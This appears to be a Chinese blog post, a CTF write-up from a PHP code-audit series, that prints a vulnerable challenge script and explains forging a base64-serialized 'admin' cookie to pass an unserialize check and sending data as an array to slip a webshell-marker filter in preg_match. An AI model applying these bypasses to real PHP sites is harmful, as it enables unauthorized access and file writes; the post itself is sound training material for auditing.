• PHP代码审计分段讲解(14)


    30题利用提交数组绕过逻辑

    本篇博客是PHP代码审计分段讲解系列题解的最后一篇,对于我这个懒癌患者来说,很多事情知易行难,坚持下去,继续学习和提高自己。

    源码如下:

    <?php 
    $role = "guest";
    $flag = "flag{test_flag}";
    $auth = false;
    if(isset($_COOKIE["role"])){
        $role = unserialize(base64_decode($_COOKIE["role"]));
        if($role === "admin"){
            $auth = true;
        }
        else{
            $auth = false;
        }
    }
    else{
        $role = base64_encode(serialize($role));
        setcookie('role',$role);
    }
    if($auth){
        if(isset($_POST['filename'])){
            $filename = $_POST['filename'];
            $data = $_POST['data'];
            if(preg_match('[<>?]', $data)) {
                die('No No No!'.$data);
            }
            else {
                $s = implode($data);
                if(!preg_match('[<>?]', $s)){
                    $flag='None.';
                }
                $rand = rand(1,10000000);
                $tmp="./uploads/".md5(time() + $rand).$filename;
                file_put_contents($tmp, $flag);
                echo "your file is in " . $tmp;
            }
        }
        else{
            echo "Hello admin, now you can upload something you are easy to forget.";
            echo "<br />there are the source.<br />";
            echo '<textarea rows="10" cols="100">';
            echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__)));
            echo '</textarea>';
        }
    }
    else{
        echo "Sorry. You have no permissions.";
    }
    ?>

    首先给出了$role和$auth的初始值

    $role = "guest";
    $auth = false;

    如果在COOKIE中没有传值的话,就会进入else,将初始值设定在COOKIE里

    else{
        $role = base64_encode(serialize($role));
        setcookie('role',$role);
    }

    从后面的逻辑上看,我们需要令

    $auth=true

    所以需要手动传入role值,通过逻辑

    if(isset($_COOKIE["role"])){
        $role = unserialize(base64_decode($_COOKIE["role"]));
        if($role === "admin"){
            $auth = true;
        }
        else{
            $auth = false;
        }
    }

    这里对传入的 role 进行base64解密后反序列化,将结果赋值给$role

    $role = unserialize(base64_decode($_COOKIE["role"]));

    然后想要令

    $auth=true

    前提条件为:

    $role === "admin"

    这个是我们可以控制的

    编写代码

    <?php
        $role='admin';
        $role1=base64_encode(serialize($role));
        echo $role1;
    ?>

    得到

    role=czo1OiJhZG1pbiI7

    1.png

    可以看到成功绕过了第一个点

    继续往下看

    当 $auth 为 true的时候,进行:

    	if(isset($_POST['filename'])){
            $filename = $_POST['filename'];
            $data = $_POST['data'];
            if(preg_match('[<>?]', $data)) {
                die('No No No!'.$data);
            }
            else {
                $s = implode($data);
                if(!preg_match('[<>?]', $s)){
                    $flag='None.';
                }
                $rand = rand(1,10000000);
                $tmp="./uploads/".md5(time() + $rand).$filename;
                file_put_contents($tmp, $flag);
                echo "your file is in " . $tmp;
            }
        }

    可以看出来是上传文件的代码,具体为:

    传入文件名和文件内容:filename 和 data

        if(isset($_POST['filename'])){
            $filename = $_POST['filename'];
            $data = $_POST['data'];

    判断$data中是否有一句话木马标识,有的话则退出

    	if(preg_match('[<>?]', $data)) {
                die('No No No!'.$data);
            }

    没有的话 else 结构,这里有一句

    $s = implode($data);

    应该是上传一句话木马的突破点。

    关于 implode()函数,有:

    定义:

    implode()函数返回由数组元素组合成的字符串

    示例:

    <?php
    $arr = array('Hello','World!','Beautiful','Day!');
    echo implode(" ",$arr);
    ?>

    输出:

    Hello World! Beautiful Day!

    而我们在前面的代码审计中,知道preg_match()函数只能处理字符串,当传入的变量是数组是会返回false,这里正好满足,可以编写代码测试

    <?php
        $data[]='<?php phpinfo();?>';
        if(preg_match('[<>?]', $data)) {
                die('No No No!'.$data);
        }else{
            echo "yes!";
        }
    ?>

    输出为

    yes!
    
    PHP Warning:  preg_match() expects parameter 2 to be string, array given in /usercode/file.php on line 3

    虽然有警告,但是还是成功绕过了。

    这里的代码

    	if(!preg_match('[<>?]', $s)){
                    $flag='None.';
                }

    表示如果变量$s中没有匹配到特定字符的话就令$flag为空,这样在后面的文件写入时,也不能获取到flag了。

    $rand = rand(1,10000000);
    $tmp="./uploads/".md5(time() + $rand).$filename;
    file_put_contents($tmp, $flag);

    这里是生成一个随机的文件名,并且将 flag 内容写进去

    最后是输出文件名

    echo "your file is in " . $tmp;

    我们绕过后 flag 会写入到 文件名随机生成的文件中,该文件名最后是可知的。

    按照之前分析的过程,很容易可以构建出payload

    3.jpg

    访问获取flag

     结束

  • 相关阅读:
    typedef 函数指针的使用(含例子)
    关于计算机与MCU通信及MAX232、CH340T与PL2303的区别
    CH340电路设计
    USB转串口CH340接线方法
    开漏输出、推挽输出的区别
    STM32位带操作
    STM32启动文件:startup_stm32f10x_hd.s等启动文件的简单描述
    浮点数在内存中的存储方式
    stm32启动地址
    STM32三种启动模式 boot0 boot1
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/13393754.html
Copyright © 2020-2023  润新知